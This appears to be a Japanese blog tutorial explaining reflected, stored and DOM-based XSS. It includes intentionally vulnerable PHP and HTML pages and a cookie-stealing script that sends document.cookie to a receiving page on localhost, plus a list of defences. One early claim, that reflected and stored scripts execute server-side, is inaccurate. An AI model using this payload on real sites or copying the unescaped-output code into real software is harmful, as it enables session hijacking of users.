具体的なコードでXSS(クロスサイトスクリプティング)学ぶ


どうもこんにちは、ikkyuです。XSSについてまとめる機会があり、せっかくなので記事にしたいと思います。初学者の方にはちょっとややこしいですよね。また具体的なコードを使って説明しているサイトが少ないためイメージがつきにくいというのもあると思います。

twitter:@ikk_hck

XSSって?

 おおまかに説明すると以下のようになります。読んでわからない部分があってまだ大丈夫です。


  • IPA(情報処理推進機構)によると、ウェブサイトの脆弱性の種類別の届出状況において58%がクロスサイトスクリプティング

  • 外部からウェブサイトにスクリプトを挿入できてしまうというのが根本的な問題

  • さらに攻撃対象としてはユーザの入力に対して動的にページを生成するようなアプリが基本的に対象

  • 最近はクロスサイト(今回の場合はリダイレクトされること)されなくてもクロスサイトスクリプティングと呼ばれるので初学者の方が混乱しがち

同一生成元ポリシー

 まず前提としてブラウザには同一生成元ポリシーという制限がります。例えば、私がほかのサイトを閲覧した時、そこに書かれていたスクリプトを私のブラウザが実行してしまったとしても、そのスクリプトは私のブラウザのCookieなどを取得することはできません。詳しくは同一オリジンポリシーなどのサイトにおまかせします。
 要するに、ブラウザは「同一生成元ポリシー」の考え方のもと作られているので、あるサイトから読み込まれたスクリプトが、他のサイトのデータにアクセスすることはできません。そして、XSSは同一性制限ポリシー制限を回避することが目的です。

XSSの種類

XSSには以下の3種類があります。


  • 反射型XSS

  • 格納型XSS

  • DOM-based XSS

下図を見てください。

 はじめてXSSにふれる方には以下のような説明にあまりピンとこないかもしれませんが、大丈夫です。さらっとよんで記事を読み終わったら再びここを読んでみてください。
 まずは横長の枠ですが、反射型と格納型が入っています。これらはサーバ側で攻撃用のスクリプトが実行されます。逆にDOM-based型はフロント側で攻撃用スクリプトが実行されます(※基本的に)。
 次に縦長の枠ですが、DOM-based型は反射型に分類されるので、反射型と同じ枠に入っています。反射型とDOM-based型ある意味で仕組みが似ているため、DOM-based型は反射方のサブカテゴリーに分類されます。

反射型

  1. 攻撃者は偽メールや偽サイトに不正なスクリプトを含んだリンクを用意
  2. それを踏ませて脆弱性のあるWEBサイトに誘導する(リクエストさせる)
  3. ユーザーのブラウザで不正なスクリプトを実行
  4. 情報の搾取やマルウェアのダウンロード

のような流れになります。リクエストした者にスクリプトが返ってくることから、「反射型XSS」と呼ばれています。

以下の図のようになります。

たとえば、図の中の①で攻撃者が用意したリンクがありますが、このなかのhttp://localhost/sample.phpというサイトが以下のようなものと仮定します。

<?php
  session_start();
?>

<?php
    header("Content-Type: text/html; charset=UTF-8");
    $input = filter_input(INPUT_GET, "q");
?>

<!doctype html>
<html>
<head>
    <title>xss</title>
</head>
<body>
    <form>
        <input type="text" name="q" value="<?=$input?>">
        <input type="submit" value="search">
    </form>
<?php
    if($input):
?>
    <?=$input?>がみつかりました
<?php
    endif;
?>
</body>
</html>

ページの出力はこのようになります。

余談ですが、XAMPPをつかって環境構築する際に、macの場合、chromeをつかってXAMPPをダウンロードするとうまくいかなかったので注意。私の場合safariからだとうまくいきました。

↑の入力フォームになにか入力すると

このようになります。
ここで、http://localhost/sample.php?q=<script>var id = document.cookie; window.location=`http://localhost/tmp.php?sessionid=${id}`</script>
のリンクをメールなどに添付し、誰かにリンクを踏ませます。クエリにわたしているjsでは、まずidという変数にcookieを入れて、次にその変数を保持したままtmp.phpにリダイレクトするよう記述しています。リンクをクリックすると、

<?php
    if($input):
?>
    <?=$input?>がみつかりました
<?php
    endif;
?>

sample.php内の<?=$input?>の部分に

<script>var id = document.cookie; window.location=`http://localhost/tmp.php?sessionid=${id}`</script>

というjsが挿入され、発火して予定通りページがcookieを保持したままtmp.phpにリダイレクトされます。tmp.phpは、たとえば以下のようにすると

<?php
    header("Content-Type: text/html; charset=UTF-8");
    $input = filter_input(INPUT_GET, "sessionid");
?>

<!doctype html>
<html>
<head>
    <title>xss</title>
</head>
<body>
    <?=$input?> 
</body>
</html>

受け取ったsessionidの内容を$inputに格納し、それを表示します。

セッションIDが表示されていることがわかります。

格納型

格納型の特徴としては


  • データベースにスクリプトが書き込まれる

  • ユーザは通常通りにWebアプリを使用するだけで攻撃が実行される

  • 時間が経ってから不特定多数のユーザーに攻撃できてしまう


などがあげられます。

 掲示板サイトを例に説明します。まず攻撃者が不正なスクリプトを含む文字列を掲示板に投稿します。するとWebアプリケーションが利用するデータベースに不正な動作をするスクリプトが保存されます。
 こうなれば、反射型のように、HTTPリクエスト中に攻撃コードの記述があるかどうかに関係なく、Webページ上で持続的にスクリプトが動作します。ユーザーがアクセスする度にコードが実行されるため、被害が拡大する傾向があります。

DOM-based型

特徴として


  • 反射型のサブカテゴリー

  • クライアントのブラウザ上で動作

  • HTMLにスクリプトを埋め込まない

  • ブラウザの備えているXSS保護機構を回避


などがあげられます。HTMLにスクリプトを埋め込まないのでサーバサイドは攻撃スクリプトを出力しません。ようするに反射型と格納型がサーバ側のバグを利用した攻撃だったのに対して、DOM-base型はクライアント側のバグを利用した攻撃です。
<!doctype html>
<html>
<head>
    <title>xss</title>
</head>
<body>
<script>
    document.write(decodeURIComponent (location.hash));
</script>
</body>
</html>  

というdom_based.htmlがあったとします。ここで、http://localhost/dom_based.html#<script>var id = document.cookie; window.location=`http://localhost/tmp.php?sessionid=${id}`</script>というリンクを作成し、反射型と同じように誰かにリンクを踏ませます。構図としては反射型のときに見た図と同じです。するとdom_based.htmlのなかのscriptタグで、リンクの#以下に記述した

<script>var id = document.cookie; window.location=`http://localhost/tmp.php?sessionid=${id}`</script>

が発火し、tmp.phpにリダイレクトされcookieが漏洩します。ここで反射型との重要な違いはサーバが攻撃スクリプトを出力していないということです。
近年ブラウザ上でJavaScriptによってHTMLを操作することが増えるにつれて,DOM-based XSSの発生する割合も増加しています。

対策

  • アプリケーションを最新に保つ
  • サニタイジング
  • 不正メールをブロック
  • WAF
  • HTTPレスポンスヘッダのContent-Typeフィールドに文字コードを指定

などがあげられます。今回はあくまでxssの挙動や仕組みについてなのでそれぞれの対策については深入りしません。
また、DOM-basedに関しては特に


  • ”document.write”などの代わりに”createElement”、”createTextNode”などを使う

  • どうしても”document.write”などを使いたいならその箇所にエスケープ

  • フラグメント識別子の値の変化による挙動を確認


なども重要になってきます。最後の「フラグメント識別子の値の変化による挙動を確認」について補足すると、反射型XSSはスクリプトがWebアプリに入力され、Webサイトから返ってくる応答のなかにスクリプトが出力されているかどうかで脆弱性の有無を判断します。
 一方、DOM-based XSSの場合は、フロントで完結するためスクリプトがWebサイトからの応答に出力されません。したがって反射型XSSと同じ方法では脆弱性の有無を診断することはできないといいうことです。

では。